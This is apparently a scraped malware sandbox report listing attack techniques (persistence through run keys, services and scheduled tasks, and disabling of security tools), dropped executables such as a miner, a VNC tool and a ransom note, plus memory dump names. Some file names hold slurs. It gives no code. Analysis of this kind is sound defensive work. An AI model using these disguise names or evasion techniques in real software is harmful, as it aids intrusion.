1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Modify Authentication Process
1Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
3Disable or Modify Tools
2Indicator Removal
1File Deletion
1Modify Authentication Process
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
DDDDDDDDDDDDDDD
msedge.exe.tmp
symsrv.dll.000
Synaptics.exe
76561199884432485[1].htm
service[1].htm
._cache_Restter.exe
aoi1j.exe
msedge.exe
4363463463464363463463463.exe
48qKwkR.exe
Antieac.exe
BLToolsPROV2.9.1.exe
Client-built.exe
RDPW_Installer.exe
Tinder%20Bot.exe
TrainJX.exe
UmN21TAqpWTaFfk.exe
XClient.exe
cyanidation.exe
main1.exe
riende.exe
scalecalc.exe
G4gtDRI.exe
LB3.exe
Launcher_x64.exe
New Text Document mod.exe
Oxymorphazone.exe
cert.exe
RenT7Wg.exe
Restter.exe
RobloxOptimizer.exe
Setup.exe
Umbral.exe
__PSScriptPolicyTest_hssgpjnw.vu1.ps1
02.08.2022.exe
06bK6nU.exe
1.exe
122.exe
2O7gWSz.exe
8RsL970.exe
91DNBcl.exe
CYY.exe
Software.exe
UctjX9B.exe
WOO.exe
WalletConnectdevRestore.exe
dPzCoRY.exe
install_and_run.exe
rTVfrvv.exe
random.exe
rh_0.9.3.exe
ssls.exe
svchron.exe
vnc.exe
xobi.exe
aoi1j.exe
aoisjf.exe
aosidjn.exe
aosuifhn.exe
aso9iu8j1298joisd.exe
bb84d74b202b0223952a5ec3035430b938a99704fada5771231b2051324d5f4f.exe
eb80020f1ec5707f1a0ca62eed70eab962386e5a.exe
ee81207c5562288802020975235c69f1ac8355b67a4a3f646e9d161af84757a5.exe
funny.exe
funny1.exe
funny67.exe
funny78.exe
funny78Srv.exe
iZ8POZ6.exe
j9a8isjfoksdlmgwer.exe
jusched.exe
k1t.exe
kaQ7Taz.exe
login_db
miner.exe
niggaaaaa.exe
nigganet.exe
oi.exe
sdoijsgroeij324.exe
svchost1.exe
tuffnigga.exe
update.exe
ivvrsrf
omsecor.exe.tmp
omsecor.exe.tmp
omsecor.exe.tmp
omsecor.exe.tmp
omsecor.exe.tmp
omsecor.exe.tmp
I1yPCrHry.README.txt
BmskHaP.exe
BpFpSsK.exe
ClCloNy.exe
CqfdYbX.exe
SET957B.tmp
SET958B.tmp
SET958C.tmp
LQyFibe.exe
LRBxYWu.exe
TyLRYip.exe
WGmFUfk.exe
WUJRJmZ.exe
WcLcSyo.exe
YocHiyY.exe
ZyAcSbD.exe
cSnjdaB.exe
fHqEIYP.exe
gObzEQC.exe
hDITtKF.exe
ilqqpeF.exe
nTQkcKu.exe
nsFMpsW.exe
oPuXMKJ.exe
oSjMNwS.exe
oUQHyTq.exe
obyBsoc.exe
pDzXHhj.exe
pUNPbje.exe
uDXltjL.exe
uzIXdJI.exe
wlVdBjx.exe
wzUmxAG.exe
~temp.tmp
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
DDDDDDDDDDD
memory/8-168-0x0000000000DC0000-0x0000000000DCE000-memory.dmp
memory/772-4175-0x00007FF6246E0000-0x00007FF624AD5000-memory.dmp
memory/772-197-0x00007FF6246E0000-0x00007FF624AD5000-memory.dmp
memory/772-6037-0x00007FF6246E0000-0x00007FF624AD5000-memory.dmp
memory/1508-6038-0x00007FF73A1F0000-0x00007FF73A5E5000-memory.dmp
memory/1508-431-0x00007FF73A1F0000-0x00007FF73A5E5000-memory.dmp
memory/1508-169-0x00007FF73A1F0000-0x00007FF73A5E5000-memory.dmp
memory/1520-4293-0x0000000000400000-0x0000000000429000-memory.dmp
memory/1520-4294-0x0000000010000000-0x0000000010030000-memory.dmp
memory/1528-4511-0x0000000010000000-0x0000000010030000-memory.dmp
memory/1528-4510-0x0000000000400000-0x0000000000429000-memory.dmp
memory/1600-4500-0x00007FF7DAFB0000-0x00007FF7DB3A5000-memory.dmp
memory/1600-6047-0x00007FF7DAFB0000-0x00007FF7DB3A5000-memory.dmp
memory/1600-228-0x00007FF7DAFB0000-0x00007FF7DB3A5000-memory.dmp
memory/1620-209-0x00007FF7F5600000-0x00007FF7F59F5000-memory.dmp
memory/1620-6031-0x00007FF7F5600000-0x00007FF7F59F5000-memory.dmp
memory/1620-4406-0x00007FF7F5600000-0x00007FF7F59F5000-memory.dmp
memory/1736-408-0x00000000009D0000-0x00000000009D8000-memory.dmp
memory/1752-189-0x00007FF77BA90000-0x00007FF77BE85000-memory.dmp
memory/1752-2732-0x00007FF77BA90000-0x00007FF77BE85000-memory.dmp
memory/1752-6035-0x00007FF77BA90000-0x00007FF77BE85000-memory.dmp
memory/1900-412-0x0000000000400000-0x0000000000429000-memory.dmp
memory/1900-410-0x0000000000400000-0x0000000000429000-memory.dmp
memory/1900-415-0x0000000000400000-0x0000000000429000-memory.dmp
memory/2164-93-0x00007FF755B50000-0x00007FF755F45000-memory.dmp
memory/2164-6019-0x00007FF755B50000-0x00007FF755F45000-memory.dmp
memory/2272-6048-0x00007FF7DFF10000-0x00007FF7E0305000-memory.dmp
memory/2272-67-0x00007FF7DFF10000-0x00007FF7E0305000-memory.dmp
memory/2284-6049-0x00007FF6CB700000-0x00007FF6CBAF5000-memory.dmp
memory/2284-280-0x00007FF6CB700000-0x00007FF6CBAF5000-memory.dmp
memory/2412-6043-0x00007FF75CB20000-0x00007FF75CF15000-memory.dmp
memory/2412-94-0x00007FF75CB20000-0x00007FF75CF15000-memory.dmp
memory/2424-6036-0x00007FF7FBBD0000-0x00007FF7FBFC5000-memory.dmp
memory/2424-171-0x00007FF7FBBD0000-0x00007FF7FBFC5000-memory.dmp
memory/2424-1896-0x00007FF7FBBD0000-0x00007FF7FBFC5000-memory.dmp
memory/2628-6058-0x00007FF615790000-0x00007FF615B85000-memory.dmp
memory/2628-73-0x00007FF615790000-0x00007FF615B85000-memory.dmp
memory/2628-289-0x00007FF615790000-0x00007FF615B85000-memory.dmp
memory/2772-68-0x0000000000400000-0x000000000042E000-memory.dmp
memory/2872-6034-0x00007FF723D00000-0x00007FF7240F5000-memory.dmp
memory/2872-2775-0x00007FF723D00000-0x00007FF7240F5000-memory.dmp
memory/2872-205-0x00007FF723D00000-0x00007FF7240F5000-memory.dmp
memory/2928-6060-0x00007FF71F0D0000-0x00007FF71F4C5000-memory.dmp
memory/2928-138-0x00007FF71F0D0000-0x00007FF71F4C5000-memory.dmp
memory/2976-26-0x000001FA62750000-0x000001FA62760000-memory.dmp
memory/2976-16-0x00007FF745FC0000-0x00007FF7463B5000-memory.dmp
memory/2976-222-0x00007FF745FC0000-0x00007FF7463B5000-memory.dmp
memory/2980-315-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/2980-4507-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/2980-4173-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/2980-319-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/2980-260-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/2980-316-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/2980-4523-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/3440-406-0x0000000000C80000-0x0000000000CF0000-memory.dmp
memory/3440-4458-0x0000000000E70000-0x0000000000E9C000-memory.dmp
memory/3440-404-0x0000000000C80000-0x0000000000CF0000-memory.dmp
memory/3476-4270-0x0000000000400000-0x0000000000429000-memory.dmp
memory/4108-6040-0x00007FF739D80000-0x00007FF73A175000-memory.dmp
memory/4108-152-0x00007FF739D80000-0x00007FF73A175000-memory.dmp
memory/4412-118-0x00007FF7E95D0000-0x00007FF7E99C5000-memory.dmp
memory/4412-6061-0x00007FF7E95D0000-0x00007FF7E99C5000-memory.dmp
memory/4420-4794-0x0000000000840000-0x0000000000CE0000-memory.dmp
memory/4548-4541-0x0000000004F30000-0x0000000004FCC000-memory.dmp
memory/4548-4540-0x0000000000320000-0x0000000000328000-memory.dmp
memory/4552-6042-0x00007FF612A00000-0x00007FF612DF5000-memory.dmp
memory/4552-351-0x00007FF612A00000-0x00007FF612DF5000-memory.dmp
memory/4552-132-0x00007FF612A00000-0x00007FF612DF5000-memory.dmp
memory/4592-4562-0x0000000010000000-0x0000000010030000-memory.dmp
memory/4592-4561-0x0000000000400000-0x0000000000429000-memory.dmp
memory/4608-164-0x00007FF6113E0000-0x00007FF6117D5000-memory.dmp
memory/4608-6039-0x00007FF6113E0000-0x00007FF6117D5000-memory.dmp
memory/4620-1937-0x00007FF6E2800000-0x00007FF6E2BF5000-memory.dmp
memory/4620-174-0x00007FF6E2800000-0x00007FF6E2BF5000-memory.dmp
memory/4620-6059-0x00007FF6E2800000-0x00007FF6E2BF5000-memory.dmp
memory/4672-124-0x0000000000400000-0x0000000000409000-memory.dmp
memory/4672-1268-0x0000000000400000-0x0000000000409000-memory.dmp
memory/4836-0-0x0000000000510000-0x0000000004716000-memory.dmp
memory/5036-80-0x00007FF6CA4F0000-0x00007FF6CA8E5000-memory.dmp
memory/5036-337-0x00007FF6CA4F0000-0x00007FF6CA8E5000-memory.dmp
memory/5036-6044-0x00007FF6CA4F0000-0x00007FF6CA8E5000-memory.dmp
memory/5052-6045-0x00007FF7C35E0000-0x00007FF7C39D5000-memory.dmp
memory/5052-121-0x00007FF7C35E0000-0x00007FF7C39D5000-memory.dmp
memory/5172-44-0x00007FF7271A0000-0x00007FF727595000-memory.dmp
memory/5172-6046-0x00007FF7271A0000-0x00007FF727595000-memory.dmp
memory/5172-223-0x00007FF7271A0000-0x00007FF727595000-memory.dmp
memory/5420-4814-0x0000000000400000-0x000000000193F000-memory.dmp
memory/5456-19-0x0000000000400000-0x000000000043D000-memory.dmp
memory/5456-45-0x0000000000400000-0x000000000043D000-memory.dmp
memory/5456-4988-0x0000000000F40000-0x0000000000F5A000-memory.dmp
memory/5480-295-0x00007FF6358A0000-0x00007FF635C95000-memory.dmp
memory/5480-6033-0x00007FF6358A0000-0x00007FF635C95000-memory.dmp
memory/5524-5143-0x00000247EC2B0000-0x00000247EC2D2000-memory.dmp
memory/5652-445-0x0000000000400000-0x0000000000429000-memory.dmp
memory/5808-344-0x0000000005C50000-0x00000000061F6000-memory.dmp
memory/5808-409-0x00000000058E0000-0x00000000058F2000-memory.dmp
memory/5808-403-0x00000000059B0000-0x0000000005ABA000-memory.dmp
memory/5808-401-0x0000000006820000-0x0000000006E38000-memory.dmp
memory/5808-421-0x0000000005AC0000-0x0000000005B0C000-memory.dmp
memory/5808-362-0x00000000056A0000-0x0000000005732000-memory.dmp
memory/5808-343-0x0000000000C80000-0x0000000000CD2000-memory.dmp
memory/5808-367-0x0000000005670000-0x000000000567A000-memory.dmp
memory/5808-411-0x0000000005940000-0x000000000597C000-memory.dmp
memory/5916-5322-0x0000024DE94F0000-0x0000024DE96B6000-memory.dmp
memory/5916-5340-0x0000024DEB310000-0x0000024DEB33E000-memory.dmp
memory/5916-4441-0x0000000000400000-0x0000000000429000-memory.dmp
memory/5916-4442-0x0000000010000000-0x0000000010030000-memory.dmp
memory/5980-4756-0x0000000010000000-0x0000000010030000-memory.dmp
memory/6020-4771-0x0000000010000000-0x0000000010030000-memory.dmp
memory/6136-140-0x00007FF63B8F0000-0x00007FF63BCE5000-memory.dmp
memory/6136-6041-0x00007FF63B8F0000-0x00007FF63BCE5000-memory.dmp
memory/6136-419-0x00007FF63B8F0000-0x00007FF63BCE5000-memory.dmp
memory/6236-4608-0x0000000010000000-0x0000000010030000-memory.dmp
memory/6804-3620-0x0000000000760000-0x0000000000A84000-memory.dmp
memory/6932-4888-0x0000000010000000-0x0000000010030000-memory.dmp
memory/6932-4866-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7060-4842-0x0000000010000000-0x0000000010030000-memory.dmp
memory/7060-4841-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7280-4198-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7280-5539-0x0000000000850000-0x000000000085A000-memory.dmp
memory/7280-4202-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7308-4269-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7312-4920-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7396-4291-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7396-4292-0x0000000010000000-0x0000000010030000-memory.dmp
memory/7400-4276-0x0000027A8C5D0000-0x0000027A8C610000-memory.dmp
memory/7552-4331-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7552-4332-0x0000000010000000-0x0000000010030000-memory.dmp
memory/7712-4334-0x0000000010000000-0x0000000010030000-memory.dmp
memory/7840-4355-0x0000000010000000-0x0000000010030000-memory.dmp
memory/7840-4354-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7920-4443-0x0000000000400000-0x0000000000915000-memory.dmp
memory/7920-4444-0x0000000000400000-0x0000000000915000-memory.dmp
memory/7920-4440-0x0000000000400000-0x0000000000915000-memory.dmp
memory/7936-6509-0x0000000000E20000-0x0000000000E3A000-memory.dmp
memory/7964-4364-0x0000000010000000-0x0000000010030000-memory.dmp
memory/8084-4381-0x0000000000400000-0x0000000000429000-memory.dmp
memory/8084-4382-0x0000000010000000-0x0000000010030000-memory.dmp
memory/8188-4867-0x0000000000400000-0x0000000000429000-memory.dmp
memory/8188-4868-0x0000000010000000-0x0000000010030000-memory.dmp
memory/8316-4408-0x0000000010000000-0x0000000010030000-memory.dmp
memory/8316-4407-0x0000000000400000-0x0000000000429000-memory.dmp
memory/8356-6395-0x000000001BD80000-0x000000001BDD0000-memory.dmp
memory/8356-6413-0x000000001C8B0000-0x000000001C962000-memory.dmp
memory/8604-4987-0x00000000006A0000-0x000000000071C000-memory.dmp
memory/8792-4481-0x0000000010000000-0x0000000010030000-memory.dmp
memory/8792-4480-0x0000000000400000-0x0000000000429000-memory.dmp
memory/9060-4522-0x0000000010000000-0x0000000010030000-memory.dmp
memory/9060-4521-0x0000000000400000-0x0000000000429000-memory.dmp
memory/9072-4506-0x0000000010000000-0x0000000010030000-memory.dmp
memory/9072-4505-0x0000000000400000-0x0000000000429000-memory.dmp
memory/9212-4847-0x0000000010000000-0x0000000010030000-memory.dmp
memory/9404-4719-0x0000000000400000-0x0000000000429000-memory.dmp
memory/9404-4720-0x0000000010000000-0x0000000010030000-memory.dmp
memory/9844-4396-0x0000000010000000-0x0000000010030000-memory.dmp
memory/9844-4395-0x0000000000400000-0x0000000000429000-memory.dmp
memory/10000-4743-0x0000000010000000-0x0000000010030000-memory.dmp
memory/10088-4256-0x0000000000400000-0x0000000000429000-memory.dmp
memory/10580-6556-0x00000000052A0000-0x0000000005418000-memory.dmp
memory/10580-6486-0x00000000002C0000-0x00000000004CC000-memory.dmp